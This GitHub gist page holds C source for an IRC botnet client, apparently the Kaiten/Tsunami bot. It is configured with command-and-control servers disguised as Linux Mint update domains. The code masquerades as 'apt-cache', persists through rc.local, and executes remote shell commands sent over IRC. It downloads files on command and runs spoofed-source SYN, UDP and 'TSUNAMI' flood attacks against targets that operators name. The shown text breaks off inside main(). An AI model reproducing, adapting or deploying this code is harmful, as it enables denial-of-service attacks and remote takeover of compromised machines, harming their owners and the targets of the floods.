Skip to content

Instantly share code, notes, and snippets.

@sean9999

sean9999/man.cy

Forked from kurobeats/man.cy
Created September 6, 2018 16:16
Show Gist options
  • Save sean9999/abe6b39ca28e4bd67d1c606597780ba6 to your computer and use it in GitHub Desktop.
Save sean9999/abe6b39ca28e4bd67d1c606597780ba6 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. Anthony Cozamanis created this gist Feb 21, 2016.
    929 changes: 929 additions & 0 deletions man.cy
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,929 @@
    #define STARTUP 1
    #undef IDENT // Only enable this if you absolutely have to
    #define FAKENAME "apt-cache" // What you want this to hide as
    #define CHAN "#mint" // Channel to join
    #define KEY "bleh" // The key of the channel
    int numservers=5; // Must change this to equal number of servers down there
    char *servers[] = {
    "updates.absentvodka.com",
    "updates.mintylinux.com",
    "eggstrawdinarry.mylittlerepo.com",
    "linuxmint.kernel-org.org",
    "updates.absentvodka.com",
    (void*)0
    };

    #include <stdarg.h>
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <strings.h>
    #include <netinet/in.h>
    #include <unistd.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <signal.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <time.h>
    #include <sys/wait.h>
    #include <sys/ioctl.h>
    int sock,changeservers=0;
    char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
    unsigned int *pids;
    unsigned long spoofs=0, spoofsm=0, numpids=0;
    int strwildmatch(const char* pattern, const char* string) {
    switch(*pattern) {
    case '\0': return *string;
    case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
    case '?': return !(*string && !strwildmatch(pattern+1, string+1));
    default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
    }
    }
    int Send(int sock, char *words, ...) {
    static char textBuffer[1024];
    va_list args;
    va_start(args, words);
    vsprintf(textBuffer, words, args);
    va_end(args);
    return write(sock,textBuffer,strlen(textBuffer));
    }
    int mfork(char *sender) {
    unsigned int parent, *newpids, i;
    if (disabled == 1) {
    Send(sock,"NOTICE %s :Unable to comply.\n",sender);
    return 1;
    }
    parent=fork();
    if (parent <= 0) return parent;
    numpids++;
    newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
    for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
    newpids[numpids-1]=parent;
    free(pids);
    pids=newpids;
    return parent;
    }
    unsigned long getspoof() {
    if (!spoofs) return rand();
    if (spoofsm == 1) return ntohl(spoofs);
    return ntohl(spoofs+(rand() % spoofsm)+1);
    }
    void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
    char *makestring() {
    char *tmp;
    int len=(rand()%5)+4,i;
    FILE *file;
    tmp=(char*)malloc(len+1);
    memset(tmp,0,len+1);
    if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
    else {
    int a=((rand()*rand())%45402)+1;
    char buf[1024];
    for (i=0;i<a;i++) fgets(buf,1024,file);
    memset(buf,0,1024);
    fgets(buf,1024,file);
    filter(buf);
    memcpy(tmp,buf,len);
    fclose(file);
    }
    return tmp;
    }
    void identd() {
    int sockname,sockfd,sin_size,tmpsock,i;
    struct sockaddr_in my_addr,their_addr;
    char szBuffer[1024];
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
    my_addr.sin_family = AF_INET;
    my_addr.sin_port = htons(113);
    my_addr.sin_addr.s_addr = INADDR_ANY;
    memset(&(my_addr.sin_zero), 0, 8);
    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
    if (listen(sockfd, 1) == -1) return;
    if (fork() == 0) return;
    sin_size = sizeof(struct sockaddr_in);
    if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
    for(;;) {
    fd_set bla;
    struct timeval timee;
    FD_ZERO(&bla);
    FD_SET(tmpsock,&bla);
    timee.tv_sec=timee.tv_usec=60;
    if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
    if (FD_ISSET(tmpsock,&bla)) break;
    }
    i = recv(tmpsock,szBuffer,1024,0);
    if (i <= 0 || i >= 20) exit(0);
    szBuffer[i]=0;
    if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
    if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
    Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
    close(tmpsock);
    close(sockfd);
    exit(0);
    }
    long pow(long a, long b) {
    if (b == 0) return 1;
    if (b == 1) return a;
    return a*pow(a,b-1);
    }
    u_short in_cksum(u_short *addr, int len) {
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer =0;
    while (nleft > 1) {
    sum += *w++;
    nleft -= 2;
    }
    if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w;
    sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
    }
    void get(int sock, char *sender, int argc, char **argv) {
    int sock2,i,d;
    struct sockaddr_in server;
    unsigned long ipaddr;
    char buf[1024];
    FILE *file;
    unsigned char bufm[4096];
    if (mfork(sender) != 0) return;
    if (argc < 2) {
    Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
    exit(0);
    }
    if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
    exit(0);
    }
    if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
    else strcpy(buf,argv[1]);
    for (i=0;i<strlen(buf) && buf[i] != '/';i++);
    buf[i]=0;
    server.sin_family = AF_INET;
    server.sin_port = htons(80);
    if ((ipaddr = inet_addr(buf)) == -1) {
    struct hostent *hostm;
    if ((hostm=gethostbyname(buf)) == NULL) {
    Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
    exit(0);
    }
    memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
    }
    else server.sin_addr.s_addr = ipaddr;
    memset(&(server.sin_zero), 0, 8);
    if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
    Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
    exit(0);
    }

    Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
    Send(sock,"NOTICE %s :Receiving file.\n",sender);
    file=fopen(argv[2],"wb");
    while(1) {
    int i;
    if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
    if (i < 4096) bufm[i]=0;
    for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
    for (d+=4;d<i;d++) fputc(bufm[d],file);
    goto done;
    }
    }
    done:
    Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
    while(1) {
    int i,d;
    if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
    if (i < 4096) bufm[i]=0;
    for (d=0;d<i;d++) fputc(bufm[d],file);
    }
    fclose(file);
    close(sock2);
    exit(0);
    }
    void getspoofs(int sock, char *sender, int argc, char **argv) {
    unsigned long a=spoofs,b=spoofs+(spoofsm-1);
    if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
    else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
    }
    void version(int sock, char *sender, int argc, char **argv) {
    Send(sock,"NOTICE %s :Kaiten wa goraku\n",sender);
    }
    void nickc(int sock, char *sender, int argc, char **argv) {
    if (argc != 1) {
    Send(sock,"NOTICE %s :NICK <nick>\n",sender);
    return;
    }
    if (strlen(argv[1]) >= 10) {
    Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
    return;
    }
    Send(sock,"NICK %s\n",argv[1]);
    }
    void disable(int sock, char *sender, int argc, char **argv) {
    if (argc != 1) {
    Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
    Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
    return;
    }
    if (disabled) {
    Send(sock,"NOTICE %s :Already disabled.\n",sender);
    return;
    }
    if (strlen(argv[1]) > 254) {
    Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
    return;
    }
    disabled=1;
    memset(dispass,0,256);
    strcpy(dispass,argv[1]);
    Send(sock,"NOTICE %s :Disable sucessful.\n");
    }
    void enable(int sock, char *sender, int argc, char **argv) {
    if (argc != 1) {
    Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
    Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
    return;
    }
    if (!disabled) {
    Send(sock,"NOTICE %s :Already enabled.\n",sender);
    return;
    }
    if (strcasecmp(dispass,argv[1])) {
    Send(sock,"NOTICE %s :Wrong password\n",sender);
    return;
    }
    disabled=0;
    Send(sock,"NOTICE %s :Password correct.\n",sender);
    }
    void spoof(int sock, char *sender, int argc, char **argv) {
    char ip[256];
    int i, num;
    unsigned long uip;
    if (argc != 1) {
    Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
    spoofs=0;
    spoofsm=0;
    return;
    }
    if (strlen(argv[1]) > 16) {
    Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
    return;
    }
    strcpy(ip,argv[1]);
    if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
    for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
    num=-(num-4);
    for (i=0;i<num;i++) strcat(ip,".0");
    uip=inet_network(ip);
    if (num == 0) spoofsm=1;
    else spoofsm=pow(256,num);
    spoofs=uip;
    }
    struct iphdr {
    unsigned int ihl:4, version:4;
    unsigned char tos;
    unsigned short tot_len;
    unsigned short id;
    unsigned short frag_off;
    unsigned char ttl;
    unsigned char protocol;
    unsigned short check;
    unsigned long saddr;
    unsigned long daddr;
    };
    struct udphdr {
    unsigned short source;
    unsigned short dest;
    unsigned short len;
    unsigned short check;
    };
    struct tcphdr {
    unsigned short source;
    unsigned short dest;
    unsigned long seq;
    unsigned long ack_seq;
    unsigned short res1:4, doff:4;
    unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
    unsigned short window;
    unsigned short check;
    unsigned short urg_ptr;
    };
    struct send_tcp {
    struct iphdr ip;
    struct tcphdr tcp;
    char buf[20];
    };
    struct pseudo_header {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
    char buf[20];
    };
    unsigned int host2ip(char *sender,char *hostname) {
    static struct in_addr i;
    struct hostent *h;
    if((i.s_addr = inet_addr(hostname)) == -1) {
    if((h = gethostbyname(hostname)) == NULL) {
    Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
    exit(0);
    }
    bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
    }
    return i.s_addr;
    }
    void udp(int sock, char *sender, int argc, char **argv) {
    unsigned int port,i=0;
    unsigned long psize,target,secs;
    struct sockaddr_in s_in;
    struct iphdr *ip;
    struct udphdr *udp;
    char buf[1500],*str;
    int get;
    time_t start=time(NULL);
    if (mfork(sender) != 0) return;
    if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
    if (argc < 3) {
    Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
    exit(1);
    }
    target = host2ip(sender,argv[1]);
    port = atoi(argv[2]);
    secs = atol(argv[3]);
    ip=(void*)buf;
    udp=(void*)(buf+sizeof(struct iphdr));
    str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
    memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
    Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = 1500;
    ip->frag_off = 0;
    ip->protocol = 17;
    ip->ttl = 64;
    ip->daddr = target;
    udp->len = htons(psize);
    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = target;
    for (;;) {
    udp->source = rand();
    if (port) udp->dest = htons(port);
    else udp->dest = rand();
    udp->check = in_cksum((u_short *)buf,1500);
    ip->saddr = getspoof();
    ip->id = rand();
    ip->check = in_cksum((u_short *)buf,1500);
    s_in.sin_port = udp->dest;
    sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
    if (i >= 50) {
    if (time(NULL) >= start+secs) exit(0);
    i=0;
    }
    i++;
    }
    }
    void pan(int sock, char *sender, int argc, char **argv) {
    struct send_tcp send_tcp;
    struct pseudo_header pseudo_header;
    struct sockaddr_in sin;
    unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
    unsigned int psize=20, source, dest, check;
    unsigned long saddr, daddr,secs;
    int get;
    time_t start=time(NULL);
    if (mfork(sender) != 0) return;
    if (argc < 3) {
    Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
    exit(1);
    }
    if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
    {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
    daddr=host2ip(sender,argv[1]);
    secs=atol(argv[3]);
    Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
    send_tcp.ip.ihl = 5;
    send_tcp.ip.version = 4;
    send_tcp.ip.tos = 16;
    send_tcp.ip.frag_off = 64;
    send_tcp.ip.ttl = 64;
    send_tcp.ip.protocol = 6;
    send_tcp.tcp.ack_seq = 0;
    send_tcp.tcp.doff = 10;
    send_tcp.tcp.res1 = 0;
    send_tcp.tcp.cwr = 0;
    send_tcp.tcp.ece = 0;
    send_tcp.tcp.urg = 0;
    send_tcp.tcp.ack = 0;
    send_tcp.tcp.psh = 0;
    send_tcp.tcp.rst = 0;
    send_tcp.tcp.fin = 0;
    send_tcp.tcp.syn = 1;
    send_tcp.tcp.window = 30845;
    send_tcp.tcp.urg_ptr = 0;
    dest=htons(atoi(argv[2]));
    while(1) {
    source=rand();
    if (atoi(argv[2]) == 0) dest=rand();
    saddr=getspoof();
    send_tcp.ip.tot_len = htons(40+psize);
    send_tcp.ip.id = rand();
    send_tcp.ip.saddr = saddr;
    send_tcp.ip.daddr = daddr;
    send_tcp.ip.check = 0;
    send_tcp.tcp.source = source;
    send_tcp.tcp.dest = dest;
    send_tcp.tcp.seq = rand();
    send_tcp.tcp.check = 0;
    sin.sin_family = AF_INET;
    sin.sin_port = dest;
    sin.sin_addr.s_addr = send_tcp.ip.daddr;
    send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
    check = rand();
    send_tcp.buf[9]=((char*)&check)[0];
    send_tcp.buf[10]=((char*)&check)[1];
    send_tcp.buf[11]=((char*)&check)[2];
    send_tcp.buf[12]=((char*)&check)[3];
    pseudo_header.source_address = send_tcp.ip.saddr;
    pseudo_header.dest_address = send_tcp.ip.daddr;
    pseudo_header.placeholder = 0;
    pseudo_header.protocol = IPPROTO_TCP;
    pseudo_header.tcp_length = htons(20+psize);
    bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
    bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
    send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
    sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
    if (a >= 50) {
    if (time(NULL) >= start+secs) exit(0);
    a=0;
    }
    a++;
    }
    close(get);
    exit(0);
    }
    void tsunami(int sock, char *sender, int argc, char **argv) {
    struct send_tcp send_tcp;
    struct pseudo_header pseudo_header;
    struct sockaddr_in sin;
    unsigned int psize=1400, check,i;
    unsigned long saddr, daddr,secs;
    int get;
    time_t start=time(NULL);
    if (mfork(sender) != 0) return;
    if (argc < 2) {
    Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
    exit(1);
    }
    secs=atol(argv[2]);
    if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
    srand(time(NULL) ^ getpid());
    memset(send_tcp.buf,rand(),psize);
    daddr=host2ip(sender,argv[1]);
    Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
    while(1) {
    saddr=getspoof();
    send_tcp.ip.ihl = 5;
    send_tcp.ip.version = 4;
    send_tcp.ip.tos = 16;
    send_tcp.ip.tot_len = htons(40+psize);
    send_tcp.ip.id = rand();
    send_tcp.ip.frag_off = 64;
    send_tcp.ip.ttl = 64;
    send_tcp.ip.protocol = 6;
    send_tcp.ip.check = 0;
    send_tcp.ip.saddr = saddr;
    send_tcp.ip.daddr = daddr;
    send_tcp.tcp.source = rand();
    send_tcp.tcp.dest = rand();
    send_tcp.tcp.seq = rand();
    send_tcp.tcp.ack_seq = rand();
    send_tcp.tcp.doff = 5;
    send_tcp.tcp.res1 = 0;
    send_tcp.tcp.cwr = 0;
    send_tcp.tcp.ece = 0;
    send_tcp.tcp.urg = 0;
    send_tcp.tcp.ack = 1;
    send_tcp.tcp.psh = 1;
    send_tcp.tcp.rst = 0;
    send_tcp.tcp.fin = 0;
    send_tcp.tcp.syn = 0;
    send_tcp.tcp.window = 30845;
    send_tcp.tcp.check = 0;
    send_tcp.tcp.urg_ptr = 0;
    sin.sin_family = AF_INET;
    sin.sin_port = send_tcp.tcp.dest;
    sin.sin_addr.s_addr = send_tcp.ip.daddr;
    send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
    check = in_cksum((unsigned short *)&send_tcp, 40);
    pseudo_header.source_address = send_tcp.ip.saddr;
    pseudo_header.dest_address = send_tcp.ip.daddr;
    pseudo_header.placeholder = 0;
    pseudo_header.protocol = IPPROTO_TCP;
    pseudo_header.tcp_length = htons(20+psize);
    bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
    bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
    send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
    sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
    if (i >= 50) {
    if (time(NULL) >= start+secs) break;
    i=0;
    }
    i++;
    }
    close(get);
    exit(0);
    }
    void unknown(int sock, char *sender, int argc, char **argv) {
    int flag=1,fd,i;
    unsigned long secs;
    char *buf=(char*)malloc(9216);
    struct hostent *hp;
    struct sockaddr_in in;
    time_t start=time(NULL);
    if (mfork(sender) != 0) return;
    if (argc < 2) {
    Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
    exit(1);
    }
    secs=atol(argv[2]);
    memset((void*)&in,0,sizeof(struct sockaddr_in));
    in.sin_addr.s_addr=host2ip(sender,argv[1]);
    in.sin_family = AF_INET;
    Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
    while(1) {
    in.sin_port = rand();
    if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
    else {
    flag=1;
    ioctl(fd,FIONBIO,&flag);
    sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
    close(fd);
    }
    if (i >= 50) {
    if (time(NULL) >= start+secs) break;
    i=0;
    }
    i++;
    }
    close(fd);
    exit(0);
    }
    void move(int sock, char *sender, int argc, char **argv) {
    if (argc < 1) {
    Send(sock,"NOTICE %s :MOVE <server>\n",sender);
    exit(1);
    }
    server=strdup(argv[1]);
    changeservers=1;
    close(sock);
    }
    void help(int sock, char *sender, int argc, char **argv) {
    if (mfork(sender) != 0) return;
    Send(sock,"NOTICE %s :TSUNAMI <target> <secs> = Special packeter that wont be blocked by most firewalls\n",sender); sleep(2);
    Send(sock,"NOTICE %s :PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers\n",sender); sleep(2);
    Send(sock,"NOTICE %s :UDP <target> <port> <secs> = A udp flooder\n",sender); sleep(2);
    Send(sock,"NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder\n",sender); sleep(2);

    Send(sock,"NOTICE %s :NICK <nick> = Changes the nick of the client\n",sender); sleep(2);
    Send(sock,"NOTICE %s :SERVER <server> = Changes servers\n",sender); sleep(2);
    Send(sock,"NOTICE %s :GETSPOOFS = Gets the current spoofing\n",sender); sleep(2);
    Send(sock,"NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet\n",sender); sleep(2);

    Send(sock,"NOTICE %s :DISABLE = Disables all packeting from this client\n",sender); sleep(2);
    Send(sock,"NOTICE %s :ENABLE = Enables all packeting from this client\n",sender); sleep(2);

    Send(sock,"NOTICE %s :KILL = Kills the client\n",sender); sleep(2);
    Send(sock,"NOTICE %s :GET <http address> <save as> = Downloads a file off the web and saves it onto the hd\n",sender); sleep(2);
    Send(sock,"NOTICE %s :VERSION = Requests version of client\n",sender); sleep(2);
    Send(sock,"NOTICE %s :KILLALL = Kills all current packeting\n",sender); sleep(2);
    Send(sock,"NOTICE %s :HELP = Displays this\n",sender);

    Send(sock,"NOTICE %s :IRC <command> = Sends this command to the server\n",sender); sleep(2);
    Send(sock,"NOTICE %s :SH <command> = Executes a command\n",sender); sleep(2);
    exit(0);
    }
    void killall(int sock, char *sender, int argc, char **argv) {
    unsigned long i;
    for (i=0;i<numpids;i++) {
    if (pids[i] != 0 && pids[i] != getpid()) {
    if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
    kill(pids[i],9);
    }
    }
    }
    void killd(int sock, char *sender, int argc, char **argv) {
    if (!disable) kill(0,9);
    else Send(sock,"NOTICE %s :Unable to comply.\n");
    }
    struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
    { "TSUNAMI", tsunami },
    { "PAN", pan },
    { "UDP", udp },
    { "UNKNOWN", unknown },

    { "NICK", nickc },
    { "SERVER", move },
    { "GETSPOOFS", getspoofs },
    { "SPOOFS", spoof },

    { "DISABLE", disable },
    { "ENABLE", enable },

    { "KILL", killd },
    { "GET", get },
    { "VERSION", version },
    { "KILLALL", killall },
    { "HELP", help },
    { (char *)0, (void (*)(int,char *,int,char **))0 } };
    void _PRIVMSG(int sock, char *sender, char *str) {
    int i;
    char *to, *message;
    for (i=0;i<strlen(str) && str[i] != ' ';i++);
    str[i]=0;
    to=str;
    message=str+i+2;
    for (i=0;i<strlen(sender) && sender[i] != '!';i++);
    sender[i]=0;
    if (*message == '!' && !strcasecmp(to,chan)) {
    char *params[12], name[1024]={0};
    int num_params=0, m;
    message++;
    for (i=0;i<strlen(message) && message[i] != ' ';i++);
    message[i]=0;
    if (strwildmatch(message,nick)) return;
    message+=i+1;
    if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
    if (!strncmp(message,"SH ",3)) {
    char buf[1024];
    FILE *command;
    if (mfork(sender) != 0) return;
    memset(buf,0,1024);
    sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
    command=popen(buf,"r");
    while(!feof(command)) {
    memset(buf,0,1024);
    fgets(buf,1024,command);
    Send(sock,"NOTICE %s :%s\n",sender,buf);
    sleep(1);
    }
    pclose(command);
    exit(0);
    }
    m=strlen(message);
    for (i=0;i<m;i++) {
    if (*message == ' ' || *message == 0) break;
    name[i]=*message;
    message++;
    }
    for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
    num_params++;
    if (num_params > 10) num_params=10;
    params[0]=name;
    params[num_params+1]="\0";
    m=1;
    while (*message != 0) {
    message++;
    if (m >= num_params) break;
    for (i=0;i<strlen(message) && message[i] != ' ';i++);
    params[m]=(char*)malloc(i+1);
    strncpy(params[m],message,i);
    params[m][i]=0;
    m++;
    message+=i;
    }
    for (m=0; flooders[m].cmd != (char *)0; m++) {
    if (!strcasecmp(flooders[m].cmd,name)) {
    flooders[m].func(sock,sender,num_params-1,params);
    for (i=1;i<num_params;i++) free(params[i]);
    return;
    }
    }
    }
    }
    void _376(int sock, char *sender, char *str) {
    Send(sock,"MODE %s -xi\n",nick);
    Send(sock,"JOIN %s :%s\n",chan,key);
    Send(sock,"WHO %s\n",nick);
    }
    void _PING(int sock, char *sender, char *str) {
    Send(sock,"PONG %s\n",str);
    }
    void _352(int sock, char *sender, char *str) {
    int i,d;
    char *msg=str;
    struct hostent *hostm;
    unsigned long m;
    for (i=0,d=0;d<5;d++) {
    for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
    if (i == strlen(str)) return;
    }
    for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
    msg[i]=0;
    if (!strcasecmp(msg,nick) && !spoofsm) {
    msg=str;
    for (i=0,d=0;d<3;d++) {
    for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
    if (i == strlen(str)) return;
    }
    for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
    msg[i]=0;
    if ((m = inet_addr(msg)) == -1) {
    if ((hostm=gethostbyname(msg)) == NULL) {
    Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
    return;
    }
    memcpy((char*)&m, hostm->h_addr, hostm->h_length);
    }
    ((char*)&spoofs)[3]=((char*)&m)[0];
    ((char*)&spoofs)[2]=((char*)&m)[1];
    ((char*)&spoofs)[1]=((char*)&m)[2];
    ((char*)&spoofs)[0]=0;
    spoofsm=256;
    }
    }
    void _433(int sock, char *sender, char *str) {
    free(nick);
    nick=makestring();
    }
    void _NICK(int sock, char *sender, char *str) {
    int i;
    for (i=0;i<strlen(sender) && sender[i] != '!';i++);
    sender[i]=0;
    if (!strcasecmp(sender,nick)) {
    if (*str == ':') str++;
    if (nick) free(nick);
    nick=strdup(str);
    }
    }
    struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
    { "352", _352 },
    { "376", _376 },
    { "433", _433 },
    { "422", _376 },
    { "PRIVMSG", _PRIVMSG },
    { "PING", _PING },
    { "NICK", _NICK },
    { (char *)0, (void (*)(int,char *,char *))0 } };
    void con() {
    struct sockaddr_in srv;
    unsigned long ipaddr,start;
    int flag;
    struct hostent *hp;
    start:
    sock=-1;
    flag=1;
    if (changeservers == 0) server=servers[rand()%numservers];
    changeservers=0;
    while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
    if (inet_addr(server) == 0 || inet_addr(server) == -1) {
    if ((hp = gethostbyname(server)) == NULL) {
    server=NULL;
    close(sock);
    goto start;
    }
    bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
    }
    else srv.sin_addr.s_addr=inet_addr(server);
    srv.sin_family = AF_INET;
    srv.sin_port = htons(6667);
    ioctl(sock,FIONBIO,&flag);
    start=time(NULL);
    while(time(NULL)-start < 10) {
    errno=0;
    if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
    setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
    setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
    setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
    return;
    }
    if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
    sleep(1);
    }
    server=NULL;
    close(sock);
    goto start;
    }
    int main(int argc, char **argv) {
    int on,i;
    char cwd[256],*str;
    FILE *file;
    #ifdef STARTUP
    str="/etc/rc.d/rc.local";
    file=fopen(str,"r");
    if (file == NULL) {
    str="/etc/rc.local";
    file=fopen(str,"r");
    }
    if (file != NULL) {
    char outfile[256], buf[1024];
    int i=strlen(argv[0]), d=0;
    getcwd(cwd,256);
    if (strcmp(cwd,"/")) {
    while(argv[0][i] != '/') i--;
    sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
    while(!feof(file)) {
    fgets(buf,1024,file);
    if (!strcasecmp(buf,outfile)) d++;
    }
    if (d == 0) {
    FILE *out;
    fclose(file);
    out=fopen(str,"a");
    if (out != NULL) {
    fputs(outfile,out);
    fclose(out);
    }
    }
    else fclose(file);
    }
    else fclose(file);
    }
    #endif
    if (fork()) exit(0);
    #ifdef FAKENAME
    strncpy(argv[0],FAKENAME,strlen(argv[0]));
    for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
    #endif
    srand((time(NULL) ^ getpid()) + getppid());
    nick=makestring();
    ident=makestring();
    user=makestring();
    chan=CHAN;
    key=KEY;
    server=NULL;
    sa:
    #ifdef IDENT
    for (i=0;i<numpids;i++) {
    if (pids[i] != 0 && pids[i] != getpid()) {
    kill(pids[i],9);
    waitpid(pids[i],NULL,WNOHANG);
    }
    }
    pids=NULL;
    numpids=0;
    identd();
    #endif
    con();
